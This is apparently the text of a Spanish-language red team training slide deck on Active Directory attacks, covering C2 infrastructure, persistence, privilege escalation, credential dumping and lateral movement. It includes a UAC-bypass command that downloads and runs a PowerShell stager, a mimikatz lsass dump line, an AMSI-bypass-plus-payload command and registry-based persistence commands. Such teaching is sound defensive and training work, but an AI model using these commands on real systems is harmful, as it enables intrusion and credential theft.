Está en la página 1de 195

STEALING THE CROWN

Advanced Red Team Adversary


Operations and Tactics
V1.5
Instructores

Javier Antunez Diego Bruno


@javierantunez @blackmantiseg
Introducción
Red Team
“El red teaming es el proceso de … [emular] una
amenaza del mundo real con la finalidad de
entrenar y medir la efectividad de las personas,
procesos y tecnologías utilizadas para defender
un entorno.”

-Joe Vest & James Tubberville


Red Team - Development and Operations
Red Team vs Pentest

Penetration Test Ejercicio de red team


Esfuerzos regulares, métodicos y
Esfuerzo especifico repetibles
Acotado en tiempo Mantenido en el tiempo
Usualmente realizado externamente
(mirada independiente - poco Puede ser realizado por personal interno
conocimiento interno) (mayor conocimiento interno - Insider)
Alcance definido de acuerdo a las
Alcance limitado necesidades
Focalizado en la mejora y la
Focalizado en el costo beneficio. remediación.
Basado en la capacidad de explotación
de vulnerabilidades Basado en amenazas y TTPs
Team colors

Red Team Blue Team Purple Team

• Facción ofensiva • Facción Defensiva Visión conjunta


• Emula / Simula • “Vigila” y “Caza” ataques
ataques reales dirigidos a la organización
Team colors

• El red team colabora en la validación práctica


de todos los elementos defensivos de la
organización:
– Personas
– Procesos
– Tecnologías
• Especializados en TTPs (Técnicas, Tacticas y
procedimientos) usados por actores de
amenazas
Red Team

Modela y ejecuta escenarios que permitan:


• Evaluar las “defensas” con las que cuenta la
compañía u entidad. (Firewalls, Antivirus, EDR,
IDS/IPS, DLP, SIEM, etc.)
• Evaluar el “monitoreo” con el que cuenta la
compañía.
• Evaluar los mecanismos de “respuesta”.
• Evaluar y mejorar la eficiencia en base a tiempos de
detección (TTD) y los tiempos de mitigación (TTM)
Red Team

Provee la perspectiva de un adversario.


Ataca asunciones hechas por la organización y los
defensores:
• “Somos seguros porque aplicamos parches”
• “Solo X número de personas pueden accede tal Sistema”
• “La tecnología Y debería frenar tal ataque”
• “El firewall Z protege el recurso A”
Permite identificar áreas de mejora en la defensa
operativa
OPSEC

• Término acuñado militarmente


• “Qué tan fácil es que nuestras acciones sean observadas
por inteligencia enemiga”
• En Red Team que tan observable somos para el Blue Team
• Idem a la inversa
• “Fácil” es relativo a la madurez de cada organización y el
equipo Blue
• Cada acción deja indicadores que deben entenderse para
no simplificar ser observables
• Ambos equipos (RED/BLUE) deben asumir que sus acciones
pueden llegar a ser monitoreadas
Offence In depth

• Concepto similar a defense in depth (inverso)


• Implica adaptación de TTPs al entorno
• Evitar acciones “visibles” en el entorno particular
• Crear medios alternativos para la acción que sean
no visibles (ej: reemplazar powershell con .Net)
• Múltiples herramientas o métodos para obtener
el mismo resultado
TTP (Techniques, Tactics and
Procedures)
• Describen el comportamiento de un actor.
• Táctica es la descripción de mas alto nivel
• Técnica es la descripción detallada del
comportamiento en el contexto de una
Táctica
• Procedimiento es la descripción de mas
detallada y de mas bajo nivel en el contexto
de una técnica
– Fuente: NIST 800-150
Términos

• APT – Advanced Persistent Threat


– Actores de amenazas
– Atacantes sofisticados
– Objetivos de largo plazo
– Sigilosos
Términos

• IOCs
– Indicadores de compromiso
– Artefactos y rastros generados por las acciones de un actor
• Compromiso asumido
– Tipo de escenario donde se inicia bajo la premisa de que
se cuenta con acceso/conocimiento interno.
– Pre supone que alguna vez se producirá un compromiso
interno. Por ejemplo un usuario interno mal intencionado
o bien un usuario victima de un phishing
– Suele ser el inicio de la mayoría de los ejercicios
Términos

• Adversary simulation
– Implica repetir el comportamiento exacto de un actor
• Adversary emulation
– Implica replicar el tipo de comportamiento de un actor
– Por ejemplo utilizar TTPs similares de un APT.
• C2 (Command and Control)
– Herramientas, métodos o protocolos utilizados para
gestionar de forma remota un equipo comprometido
– Normalmente aprovechan el tráfico saliente permitido
(navegación, DNS, cloud storage, etc).
Términos

• Payload
– Carga entregada que realiza un tipo de acción programada
por el atacante
• Exfiltración
– Herramientas, métodos o protocolos utilizados para
extraer información de la red interna
Agentes de amenaza
(Threat Agents)
• Pueden ser clasificados en 4 grupos, cada uno
de los cuales utiliza sus propias TTPs (Tácticas,
Técnicas y Procedimientos)

• El conocimientos de estos agentes de


amenaza y sus motivaciones permite a una
organización realizar una gestión óptima en
recursos e inversión en ciberseguridad.
AGENTES DE AMENAZA
(Threat Agents)

Cyber
Criminales

Hacktivistas Amenaza
interna

Atacantes soportados
internamete
AGENTES DE AMENAZA
(Threat Agents)
• Una buena forma de caracterizar los agentes
de ciber amenazas sería dividirlos en capas o
“tiers”
• Greg Reith, de T-Mobile los dividió en 6 capas.
• En el nivel más bajo se sitúan los agentes que
suponen una amenaza menos sofisticada.
• Luego va creciendo el nivel de sofisticación en
la pirámide.
Greg Reith https://www.recordedfuture.com/prioritizing-cyber-threats/
Ciber Kill Chain

• Explica las fases en las que los adversarios


realizan ataques.
• Enfocada en los Advance Persistent Threats
(APTs)
• Se complementa con el modelo diamante
(Diamond Model)
Cyber Kill Chain
Mitre ATT&CK
(Adversarial Tactics, Techniques and Common Knowledge)
Mitre ATT&CK
(Adversarial Tactics, Techniques and Common Knowledge)
Unified Kill chain

https://uploads-ssl.webflow.com/59d28ad983887e000196f803/5fecbed409a3ad47a669e059_The-Unified-Kill-Chain.pdf
Targeted kill chain (MANDIANT)
Infraestructura Red Team
Red team vs Pentest - Infraestructura

Infraestructura red
En el pentest las conexiones son HACIA el target team simplificada
En el red team el Target “Llama a casa”

TCP

Internet
HTTPS
Host
200.200.200.200 SMB

Pentest
Redirector Redirector
BindIP
192.168.2.100

SMTP Phishing C2 server


Server Payloads Red externa Red interna
Infraestructura red team (conceptual)
Infraestructura red
team simplificada

TCP

Internet
HTTPS
Host
200.200.200.200 SMB

Redirector Redirector
BindIP
192.168.2.100

SMTP Phishing C2 server


Server Payloads Red externa Red interna
Infraestructura red team resiliente
Cloud Provider

DomainA.com DomainB.com DomainC.com DomainD.com

SMTP
Server Redirector Redirector Redirector Redirector

Phishing C2 C2 C2
Payloads De largo plazo De corto plazo Interactivo
On premise o cloud

Mas info: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki


Lab

Lab
VPN

Windows 10 VM KALI VM
Phishing
Payloads
All C2

Equipo del estudiante


Command and control (C2)

• El equipo comprometido hace un “llamado a


casa” (reverse Shell) a través de un agente.
• El agente recibe ordenes y las ejecuta
localmente en el equipo (multistage)
• El canal de comunicación C2 aprovecha tráfico
saliente permitido (ej: http, https, DNS, etc.)
• Canal “seguro” C2 (debe haber cuidados ej:
cifrado, velocidades variables, etc.)
Frameworks C2
• Comerciales • Open source
– Cobalt Strike – Empire
– Innuendo – Merlin
– Red team toolkit – Faction C2
– Scynthe – IbombShell
– Vodoo – Metasploit / Meterpreter
• Open source – PoshC2
– Caldera – La lista crece con el tiempo
– Covenant
Frameworks C2

• ¿Como seleccionar un framework?


– Depende de factores como presupuesto, caso de
uso, tipo de clientes donde se va a operar, etc.
– Una excelente fuente de conocimiento que puede
ayudar en la elección:
•C2 MATRIX PROJECT
https://www.thec2matrix.com/
Frameworks C2 en el Lab

• Usaremos mas de un framework de acuerdo a


las necesidades de los ejercicios:
– Covenant
– Metasploit
– Empire
HANDS ON
Modelo discrecional en Windows
Arquitectura de seguridad Windows
Cuentas de usuario built in: Cuentas especiales:
Administrator Localsystem
Guest LocalService
KRBTGT (solo en dominios Active Directory) NetworkService
IUSR_MachineName (si se instala IIS)
Security Principals IWAM_MachineName (si se instala IIS)

LOCALES

Representan contexto Nombre legible: Juan.perez


de ejecución en el S.O
Usuario Representación interna: SID Usuario
SID=48 BITS
SAM

Agrupan usuarios,
grupos o equipos DE DOMINIO
Grupo Grupo

Nombre legible: Juan.perez


Servidores y Representación interna: SID
estaciones De distribución SID=48 BITS
Domain Local
Equipo Global NTDS.DIT Representación interna: GUID Equipo
Universal SID = 128 BITS
De seguridad

Identificados + Autenticados
SID 48 bits únicos dentro del sistema o forest de Active Directory
GUID 128 bits única globalmente (dentro y fuera de Active Directory)
Arquitectura de seguridad Windows
• SID (composición)
Todos los SIDs comienzan con S (que indica que el string es un SID).Luego sigue un
identificador de versión desde Windows NT a la fecha es 1 (versión 1)
Este valor identifica al emisor del SID, definiendo su alcance. Los mas comunes son
2=Local authority, para principals locales y 5=NT authority para principals de dominio

Sub authority 1: Si es 21 indica que lo que sigue es el identificador del dominio donde el
security principal está alojado y los siguientes 32 bits separados por guiones (-) indican el
dominio. La porción de dominio siempre será idéntica para todos los objetos dentro del
mismo dominio
RID (relative identificator) se
genera cuando se crea el objeto.

Sub authority 2 Sub authority 3 Sub authority n-1

S-V -X – 21–3333797343-2748683396-701768906 - 1111


RI
D
Arquitectura de seguridad Windows
• RID
– Los security principals creados por los
administradores tienen un RID que comienza en
1000
– El valor se incrementa de a uno con cada nuevo
security principal creado
– Los security principals por defecto poseen un RID
conocido (y se puede determinar su SID)
Arquitectura de seguridad Windows
• SIDs bien conocidos
S-1-5-x-x-x-500 Local or Domain Administrator S-1-5-32-544 Administrators group
S-1-5-x-x-x-501 Local or Domain Guest S-1-5-32-545 Users group
S-1-5-x-x-x-502 KRBTGT S-1-5-32-546 Guests group
S-1-5-x-x-x-512 Domain Admins S-1-5-32-547 Power Users group
S-1-5-x-x-x-513 Domain Users S-1-5-32-548 Account Operators group
S-1-5-x-x-x-514 Domain Guests S-1-5-32-549 Server Operators group
S-1-5-x-x-x-515 Domain Computers S-1-5-32-550 Print Operators group
S-1-5-x-x-x-516 Domain Controllers group S-1-5-32-551 Backup Operators group
S-1-5-x-x-x-518 Schema Admins group S-1-5-32-555 Remote Desktop Users group
S-1-5-x-x-x-519 Enterprise Admins group
S-1-5-x-x-x-520 Group Policy Creator Owners group S-1-5-7 Anonymous Logon or null session
S-1-5-x-x-x-553 RAS and IAS Servers S-1-5-11 Authenticated Users group
S-1-5-14 Remote Interactive Logon group
S-1-1-0 Everyone group S-1-5-18 LocalSystem (or System) account
S-1-3-0 Creator Owner group S-1-5-19 LocalService
S-1-5 NT Authority S-1-5-20 NetworkService
Modelo discrecional en Windows
Intenta acceso al objeto

Regula la auditoria

Regula el acceso

Access Control Entry (ACE)


Mascara de Flags de
SID del sujeto
acceso herencia

GR --> Generic_Read
GW --> Generic_Write
31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 GE --> Generic_Execute
GA --> Generic_ALL
GR GW GE GA Reservado AS Derechos de acceso estandar Derechos de acceso especificos por objeto AS --> Right to access SACL
Modelo discrecional en Windows
• Arquitectura de seguridad de Windows

Autenticación

Auditoría /
Responsabilidad Autorización
Modelo discrecional en Windows
• Fases del modelo Discrecional
Hola soy Javito Identificación
WinLogon
Mi password es 1234

Autenticación

Local Security Authority Subsystem


(LSASS)
Token de acceso (Lsasrv.dll)

Quiero acceder a la
Security Reference Monitor
Token
impresora Imp1
(SRM)
DACL Autorización
Acceso concedido

Local Security Authority Subsystem


(LSASS)
(Lsasrv.dll)
SACL
Desde PC1 Javito a las Auditing
11:08 accedió a Imp1 Accounting
AD Kill Chain
Compromiso inicial
Cyber |Kill Chain

OSINT /
INTEL
Electrica del sur

Marquitos R

Marquitos R
Cyber Kill Chain
Objetivos de compromiso de AD
Camino típico de ataque a AD
Active Directory Cyber Kill Chain
Active Directory Cyber Kill Chain
Compromiso inicial

• Puede darse por diferentes vías:


– Explotación de vulnerabilidades
– Acceso físico a estaciones de trabajo
– Ingeniería social (client side)
– Implantación de hardware (ej: WHID,
rubber ducky, pwnpi, etc).
A efectos prácticos se asume un
acceso inicial sin privilegios en un
host de la red (Marquitos) –
“Compromiso asumido”
Compromiso de clientes

• Archivos ofimática
– Office (Visual Basic for apps macros/OLE/DDE)
• Powershell launchers
• Javascript, HTA
• Archivos ejecutables
– Exe’s
– Dll’s
Payloads

• Non Staged / Single Stage


– Todo el payload se encuentra en un único archivo
– Si es capturado contiene toda la info para RevEng
• Staged
– Solo una porción del payload se envía (launcher)
– Si es capturado puede que no consiga una
muestra exacta del payload en si mismo.
– Permite mutaciones o ajustes sin cambiar el
launcher
Non Staged / Single Stage

STAGED
Creación de un payload macro
Creación de un payload macro
Creación de payload HTA
Compromiso de clientes

• Barreras
– Antivirus - AMSI (Anti Malware Scan Interface)
Compromiso de clientes

• Bypasses
– Antivirus disabling
– Ofuscación
– AMSI Bypasses
• Disabling
• Dll Patching
HANDS ON
Persistencia local

• Para no perder el agente una vez obtenido el


acceso se pueden utilizar técnicas de
persistencia:
– En userland
– En modo elevado (requiere escalamiento)
• Nos permite retomar el acceso posteriormente
• Si necesitamos sobrevivir reboots, esta acción no
es “Opsec Safe” por los artefactos generados
Persistencia local

• Técnicas userland:
– Autoruns (registry)
• HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\
Run
– Scheduled Tasks
– Carpeta inicio (startup)
– DLL & COM Hijacking
Persistencia local

• Técnicas elevadas:
– Autoruns (registry)
• HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion
\Run
– Scheduled Tasks
– WMI subscriptions
Persistencia local

• Carpeta de inicio
• Se puede usar la tarea
PersistStartup
• Se genera un archivo bat para
evitar los handler por defecto
de los ps1 (notepad e ISE)
Persistencia por Scheduled tasks
Persistencia por Scheduled tasks

• Importar el ps1 a memoria


– Powershellimport
• Ejecutar el script desde memoria
– PowerShell New-ScheduledTaskPersistencia
• Validar la existencia de la tarea
– PowerShell Get-ScheduledTask -TaskName
Persistencia
Persistencia por Scheduled tasks

• Requiere subir el código powershell (puede ser


fileless como en el ejemplo)
• Puede ejecutarse a diferentes horarios o bajo
demanda
Persistencia autoruns

• Userland HKCU (HKEY_CURRENT_USER)


• Subir el binario
– Upload
c:\users\Victima\appdata\local\temp\Binario.exe

• Ejecutar task de persistencia


– PersistAutorun CurrentUser Updater
c:\users\Victima\appdata\local\temp\Binario.exe

• Verificar la configuracion
– GetRegistryKey
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HANDS ON
Enumeración local
Active Directory Cyber Kill Chain
Enumeración local

• Se trata de recabar toda información de valor


para etapas posteriores:
– Aplicaciones en uso
– Procesos en ejecución
– Servicios instalados
– Software de seguridad instalado
– Cuentas de usuario, privilegios y grupos
– Políticas (contraseña, bloqueos, auditoria)
Enumeración local

• “Living off the land”


– Consiste en utilizar herramientas del propio
sistema operativo para fines de ataque
– En general no requiere subir binarios del atacante
– Abarca también herramientas aceptables o
firmadas digitalmente por Microsoft (ej:
sysinternals tools)
– Desde la óptica defensiva es difícil determinar si el
uso de una herramienta fue o no legitimo
SeatBelt

• Herramienta de Situational awareness local


• Integrada en Covenant
• Enumera mas de 50 ítems relevantes
• Hay grupos de ítems que pueden invocarse
conjuntamente:
• All, User, System, Slack, Chrome, Remote,
Misc
• Mas info:
• https://github.com/GhostPack/Seatbelt#command-groups
Screenshot / Keylogger/Portscan

• Suelen ser funcionalidades provistas por los


frameworks
• En covenant:
– “screenshot” captura la pantalla del host
– “keylogger Tiempo” activa el keylogger por un
periodo de tiempo ej: keylogger 20 por 20
segundos
– “Portscan” escanea puertos: ej: portscan
host1,host2,host3 puerto1,puerto2, puerto3
HANDS ON
Escalamiento de privilegios local
Active Directory Cyber Kill Chain
Arquitectura de seguridad Windows
• Derechos de usuario (User Rights)
– Gobiernan los métodos por los que un usuario
puede acceder a un sistema o realizar ciertas
tareas.
– Se dividen en dos tipos: Derechos de acceso y
privilegios.
– Los derechos de acceso controlan quien puede
acceder y de que manera
– Los privilegios controlan el acceso a recursos de un
equipo o dominio pudiendo pasar por alto algunos
permisos.
Arquitectura de seguridad Windows
• Derechos de usuario (User Rights) – Derechos de
acceso
– Se identifican por su sufijo “LogonRight”
– Ej: Log on locally = SeInteractiveLogonRight
– Cada derecho de acceso permitido, tiene su
contrapartida para denegarlo
Permite Deniega
Access this computer from the network Deny access to this computer from the network
Allow logon through Terminal Services Deny logon through Terminal Services
Log on as a batch job Deny logon as a batch job
Log on locally Deny logon locally
Log on as a service Deny logon as a service
Arquitectura de seguridad Windows
• Derechos de usuarios (User Rights) – Privilegios
– Se identifican por su sufijo “Privilege”
– Ej: Back up files and directories = SeBackupPrivilege
– Se categorizan en privilegios sensibles y no sensibles
– Privilegios sensibles
• Permiten realizar acciones que pasan por alto controles de
seguridad.
– Privilegios no sensibles
• Privilegios que (a priori) no pasan por alto en forma directa
controles de seguridad.
Arquitectura de seguridad Windows
• Derechos de usuarios (User Rights) – Privilegios
PRIVILEGIOS SENSIBLES

Act as part of the operating system Back up files and directories


Create a token object Debug programs
Generate security audits Impersonate a client after authentication
Load and unload device drivers Manage auditing and security log
Modify firmware environment values Replace a process-level token
Restore files and directories Take ownership of files or other objects
Enable computer and user accounts to be trusted for delegation
Arquitectura de seguridad Windows
• Derechos de usuarios (User Rights) – Privilegios
PRIVILEGIOS NO SENSIBLES

Access Credential Manager as a trusted caller


Add workstations to domain Adjust memory quotas for a process
Bypass traverse checking Change the system time
Create a page file Create global objects
Create permanent shared objects Create symbolic links
Force shutdown from a remote system Increase a process working set
Increase scheduling priority Lock pages in memory
Modify an object label Perform volume maintenance tasks
Profile single process Profile system performance
Remove computer from docking station Shut down the system
Synchronize directory service data
Escalamiento de privilegios

• ¡No siempre es necesario!


• Migrar a una sesión con privilegios elevados
• Incluso un usuario con privilegios puede estar
en contexto no elevado (UAC).
• Se utilizan:
– Bypasses de controles
– Errores de configuración
– Explotación de tipo LPE (Local Privilege Escalation)
Escalamiento de privilegios

• Herramientas
– PowerUp
https://github.com/PowerShellMafia/PowerSploit/blob/d
ev/Privesc/PowerUp.ps1
– SharpUp
https://github.com/GhostPack/SharpUp
– Watson (parches faltantes)
https://github.com/rasta-mouse/Watson
User Account Control
• User Account Control (UAC)
• User Account Control (UAC)
Escalamiento - UAC bypass

• Consiste en migrar una sesión de integridad


media a una de alta integridad
• Covenant cuenta con bypass built in funcional
hasta versiones menores a 1809 de windows
10
• Para otras versiones de Windows se pueden
usar otras técnicas.
Escalamiento - UAC bypass

• UACME repo con muchas de ellas

https://github.com/hfiref0x/UACME
Ej: usando UACME

Akagi64.exe 58 "powershell -c iex (new-object


net.webclient).downloadstring('http://192.168.1.100/Grunt
HTTPStager.ps1')"
Escalamiento – UAC bypass

• Procesos elevados + Covenant UAC bypass


HANDS ON
Services security
• Áreas configurables de un servicio
– DACL/SACL del servicio
• Los servicios son objetos asegurables (solo por GPO o
plantillas)
– Modo de inicio
• Manual
• Automático
• Automático (inicio retrasado)
• Deshabilitado
– Cuenta de servicio a utilizar
Escalamiento de privilegios - Servicios

• Los servicios proveen una superficie de ataque


interesante si están mal configurados:
– DLL hijacking
– BinPath
– Unquoted path
– Registry permissions
– Executable file
PrivEsc - Servicios

• DLL (bibliotecas) Hijacking


– DLL: Usado por procesos, es común que algunas DLLs
no estén disponibles al tratar de cargarlas
– Se abusa el orden de búsqueda colocando DLLs en
paths con escritura
• BinPath (Path al binario de un servicio)
– Si el usuario tiene permiso para modificar el binpath,
puede disparar ejecución arbitraria.
PrivEsc - Servicios

• Unquoted Service Path


– Se produce cuando el binPath tiene espacios y el path
no se encuentra entre comillado
– Genera una ambigüedad que se resuelve probando Ej:
C:\Program Files\Carpeta con espacio\servicio.exe
• C:\Program.exe / C:\Program Files\Carpeta.exe
• C:\Program Files\Carpeta con.exe / C:\Progam Files\Carpeta con
espacio.exe
• C:\Program Files\Carpeta con espacio\servicio.exe

• Si puede crearse alguno de los exe es explotable


PrivEsc - Servicios

• Registry
– La base de datos de servicios se almacena en la registry
– Si los permisos de registry son inadecuados se puede
modificar la configuración del servicio (ej: la subkey
“ImagePath” del servicio vulnerable, especificando el
path de nuestro binario
• Executable file (Ubicación de ejecutables del svc)
– Si se puede modificar/reemplazar algún ejecutable es
explotable
Priv Esc – Servicios reemplazo de
binario
HANDS ON
AllwaysInstallElevated

• Configuración para que todas las instalaciones de


software se ejecuten con privilegios de system
aunque el usuario no tenga privilegios
• Existen dos claves de registro que indican la
presencia de la configuración:
• HKLM\Software\Policies\Microsoft\Windows\Installer
(AllwaysInstalledElevated=1)
• HKCU\Software\Policies\Microsoft\Windows\Installer
(AllwaysInstalledElevated=1)
Contraseñas almacenadas

• En registry
• Autologon
– HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
(DefaultUserName,DefaultPassword)

• Putty
– HKCU\Software\SimonTatham\PuTTY\Sessions (dentro de las sesiones
“ProxyPassword”)

• VNC
– HKCU\Software\TightVNC\Server
Contraseñas almacenadas en archivos

• Unattended files
– Archivo de respuestas para la instalación desatendida
(Unattend.xml o Autounattend.xml)
– Ubicaciones (%WINDIR%\Panther\Unattend,
%WINDIR%\Panther, %WINDIR%\System32\Sysprep)
– Puede contener contraseñas codificadas Base 64.
• Web.config
– Puede contener credenciales en texto plano o cifrado
reversible (ej: connection string de bases de datos)
Scheduled tasks

• Las tareas programadas se ejecutan


independientemente de si el usuario esta logueado
• Suelen ejecutarse con el usuario system
• Modificar el ejecutable de la tarea programada =
correr código arbitrario
• Se explota reemplazando o modificando el
ejecutable de la tarea programada
Token impersonation

• Es una funcionalidad que permite a un usuario usar


el contexto de ejecución de otro usuario
• Hay cuentas especiales que cuentan con la misma
posibilidad:
– NT AUTHORITY\LOCAL SERVICE
– NT AUTHORITY\NETWORK SERVICE
• Normalmente explotado por los ataques “Potato”
(Hot / Rotten/Juicy Potato, etc.) para impersonar a
LOCALSYSTEM
Token impersonation:
Rogue WinRM / Print spoofer
• En versiones recientes de windows algunos
ataques “Potato” pueden no funcionar
• Rogue WinRM = similar a potato pero basado en
WinRM, se fuerza una descarga como System
• PrintSpoofer = El printer bug fuerza una
autenticación al consultar el estado de una cola de
impresión, logrando una ejecución como system
Recomendación

• Taller de Windows Privilege Escalation

• https://www.youtube.com/watch?v=9hD_Kf9hdZw
Compromiso de credenciales locales
Compromiso de credenciales locales
Active Directory Cyber Kill Chain
Credenciales - Introducción
Ciclo de vida de las credenciales
LOCALES

Admin
123456 SAM

DE DOMINIO

Almacenamiento Momento de Momento de En tránsito en la


externo login uso/almacena red
miento cache
NTDS.DIT
Kerberos
LSA memoria LM Almacenamiento
LSA secrets NTLMv1 autoritativo
DPAPI NTLMv2
Credential store Etc.
Usuarios + hashes (LM, NTLM)
Hashes de historial (AD)
Credenciales en el cliente
• Credenciales administradas por LSA en memoria:
– Texto cifrado reversible
– Tickets kerberos (TGTs, Service Tickets)
– Hash NTLM (y si esta activado Hash LM)
– Long term keys de kerberos
• Asociadas a:
– Accesos locales o RDP - Ejecuciones RunAS
– Servicios en ejecución -Tareas programadas
– Ejecución local desde herramienta adm. remota
Credenciales en el cliente
• Credenciales administradas por LSA persistentes
(LSA Secrets):
– Credenciales que deben “sobrevivir” a reboots
• Contraseña de máquina en Active Directory
• Contraseñas de cuentas de servicios configuradas en el
equipo
• Contraseñas de cuentas configuradas para tareas
programadas
• Contraseñas de sitios y application pools de IIS
Credenciales en el cliente
• Credenciales almacenadas por Credential
Manager Store
– Por requerimiento del usuario
– Credenciales “sobreviven” a reboots
– Se almacenan cifradas usando Data Protection
Application Programming Interface (DPAPI)
– Se almacenan en un repositorio llamado “Credential
vault”.
– Se puede bloquear por GPO, para que no se utilice
Credenciales repositorios autoritativos
• Repositorio autoritativo Password1

PASSWOR D1_ _ _ _ _
+paridad +paridad
Clave Clave

KGS!@#$% DES DES KGS!@#$%

SAM
Cypher1 Cypher2

Cypher1 Cypher2 = HASH LAN MANAGER


NTDS.DIT

Password1 MD4 HASH = HASH NTLM


Credenciales ataques
• Formas de ataque:
– Ataques no electrónicos
– Ataques pasivos (online)
• Sniffing + Cracking
• Man in the middle o Replay
– Ataques activos (online)
• Pruebas de autenticación (fuerza bruta/diccionario)
– Ataques offline
• Hash cracking (fuerza bruta, diccionario, hibridos)
• Hashes pre-computados (Rainbow tables)
Credenciales ataques en cliente
• Formas de ataque:
– RID Hijacking (manipulación de SAM)
– Ataques LSA Clear Text Dump (mimikatz)
– Ataques LSA Secrets Dump (mimikatz)
– Ataques Token impersonation (incognito)
• Formas de ataque almacenamiento autoritativo
– SAM dumping
Ataques LSA
• LSA en memoria
– Requiere acceso como system
– Se accede al proceso en ejecución de LSASS
– Se lee la información en memoria del proceso
• LSA Secrets
– Requiere acceso como system
– Se solicita el acceso a los LSA Secrets almacenados en
registry
Ataques LSA
• LSA en memoria / LSA Secrets herramientas
– pwdumpx.exe
– gsecdump
– Mimikatz
– secretsdump.py
• Son detectadas por antivirus…
Ataques LSA

• Alternativa…
mimikatz.exe log "sekurlsa::minidump lsass.dmp"sekurlsa::logonPasswords exit
Security Account Manager (SAM)

• Almacenamiento autoritativo para cuentas


locales
• Contiene los hashes de usuarios locales
– NTLM
– LM (si esta habilitado)
• Los datos se almacenan en registry y están
bloqueados
• Se pueden volcar con privilegios SYSTEM
Credenciales Cacheadas – MSCACHE 2

• Credenciales cacheadas (password verifiers)


– Derivación del hash NTLM
Password1 USERNAME

Credencial cacheada
MD4 HASH NTLM HASH NTLM USERNAME MD4 HASH
NT/2000/XP/2003
Password-Based Key
Cantidad de iteraciones PBKDF2 Derivation Function 2
= 10240 _SHA Usando SHA

Credencial cacheada
HASH
Vista/7/8/2008/2012

– Se atacan como MSCASH2 (John y oclHashcat)


RID Hijacking
HANDS ON
Reconocimiento de red y dominio
AD
Active Directory Cyber Kill Chain
Reconocimiento de red

• Se trata de recabar toda información de valor


sobre el entorno:
– Direccionamiento IP
– Usuarios y grupos administrativos en otros
equipos
– Puertos visibles
– Servicios publicados
Reconocimiento de dominio

• Se trata de recabar toda información de valor


sobre el dominio:
– Estructura del forest / relaciones de confianza
– Usuarios, Grupos y membresias
– Estructura de Ous
– GPOs (Group Policy Objects)
– Nivel funcional
– Politicas (contraseña, bloqueos, auditoria)
Reconocimiento de dominio

• Se trata de recabar toda información de valor


sobre el dominio:
– Configuración de kerberos
– Delegaciones
– Cuentas con Service principal names
– ACLs del directorio
Reconocimiento de dominio

• “Living off the land”


– Algunas herramientas son obvias
• Powershell
• Wmic
• net user /domain - - net group /domain
• psexec
– Otras no son tan obvias
• Bitsadmin, Certutil, makecab….
– +Info: https://lolbas-project.github.io/
Usuarios y equipos - Atributos
interesantes
• Usuarios:
• LastLogonDate AdminCount
• SIDHistory PasswordLastSet
• PasswordNeverExpires PasswordNotRequired
• CustomAttribute1-50 ServicePrincipalName
• Equipos
• OperatingSystem -OperatingSystemVersion
• ServicePrincipalName -TrustedForDelegation
• TrustedToAuthForDelegation
Powerview/SharpView

• Powerview categoria recon de powersploit post


exploitation framework.
• De las herramientas mas conocidas para
enumerar dominios AD
• Puede recolectar información de membresia de
grupos, Organisational Units (OUs), Group Policy
Objects (GPOs), relaciones de confianza, etc.
• Existe un port a C# (.NET) llamado SharpView
incluido en Covenant
Powerview/SharpView

• La lista de enumeración es inmensa, en


general en formato get-XXXX. Ej: Get-Domain
• Puede consultarse un cheat sheet de
powerview en :
– https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.p
df
– https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-
pentesters/powerview
• Puede consultarse sobre los métodos
disponibles de Sharpview en:
– https://github.com/tevora-threat/SharpView
Powerview – Algunos cmdlets

• Get-Domain Get-DomainController
• Get-ForestDomain Get-DomainPolicy
• Get-DomainUser Get-DomainComputer
• Get-DomainOU Get-DomainGroup
• Get-DomainGroupMember
• Get-DomainGPO Get-DomainGPOLocalGroup
• Find-DomainUserLocation Get-NetLocalGroup
• Get-NetLocalGroupMember Get-NetLoggedOn
• Get-NetSession Get-DomainTrust
Gráficos de ataque

• “Defenders think in lists. Attackers think in


graphs. As long as this is true, attackers win.”
– John Lambert – General Manager of the Microsoft Threat Intelligence Center
BloodHound

• Muestra relaciones entre nodos


– Usuarios
– Grupos
– Equipos
– GPOs
Group Policy Preferences

• La clave de cifrado de las contraseñas


disponible públicamente en MSDN
HANDS ON
Movimiento lateral
Ejecución remota
Active Directory Cyber Kill Chain
Movimiento Lateral
• Consiste en aprovechar los
privilegios/credenciales disponibles para ejecutar
código o comandos en otros equipos
• Existen varias técnicas disponibles
– WMI
– Powershell remoting
– PsExec Style (creación de un servicio, inicio del
mismo, borrado del servicio)
Lidiando con el AV
• En la mayoría de los casos si estamos trabajando
en memoria basta con bypassear AMSI para
bypassear el AV
• Hay repositorios con técnicas de bypass de AMSI
– https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-
Powershell
• Para bypassear el AMSI basta con ejecutar el
bypass y seguidamente nuestro payload.
• Ej: powershell -c bypassAMSI.ps1;payload.ps1
HANDS ON
Credenciales en red
• Credenciales que viajan en la red
– Lan Manager
– NTLM v1
– NTLM v2
– NTLM v2 Session Response
– Windows Kerberos
Credenciales en red

Esquema general de autenticación “Challenge - Response” (Lan Manager, NTLMv1 y NTLMv2)

1 Requerimiento “negotiate”

Challenge
2 Envio de challenge server (A)
Challenge
server (A)

Se utiliza el challenge para Response


3
computar respuesta
Credenciales en red – Ataques NTLM

• Responder / Inveigh
– SMBRelay – Simula un server SMB o relay al
atacante
– NBNS/LLMNR – Responde a broadcast NetBIOS
– WPAD (proxy spoofing)
– HTTP server relay
– Auth Proxy
• Son ataques “Ruidosos” por lo que los evitamos
Credenciales en red – Ataques NTLM
Pass the hash (PtH)
LSASS (msv1_0)
d0e9aee149655a60
LM 75e4540af1f22d3b
Pepe
1234/ NTLM (md4)
cc36cf7a8514893e
fccd332446158b1a

LSASS (msv1_0)
LM
cc36cf7a8514893e
fccd332446158b1a
cc36cf7a8514893e
NTLM (md4) fccd332446158b1a

**Abusing Microsoft Kerberos sorry you guys don’t get it


Alva `Skip` DUCKWALL & Benjamin DELPY
Credenciales en red - Ataques
kerberos
• Formas de ataque
– Kerberoasting
– AS-REP Roasting
– Abuso de primitivas de delegación
• Formas de ataque (post explotación):
– Ataques Overpass the hash (OPtH) – pass the key
– Ataques Pass The Ticket (PTT)
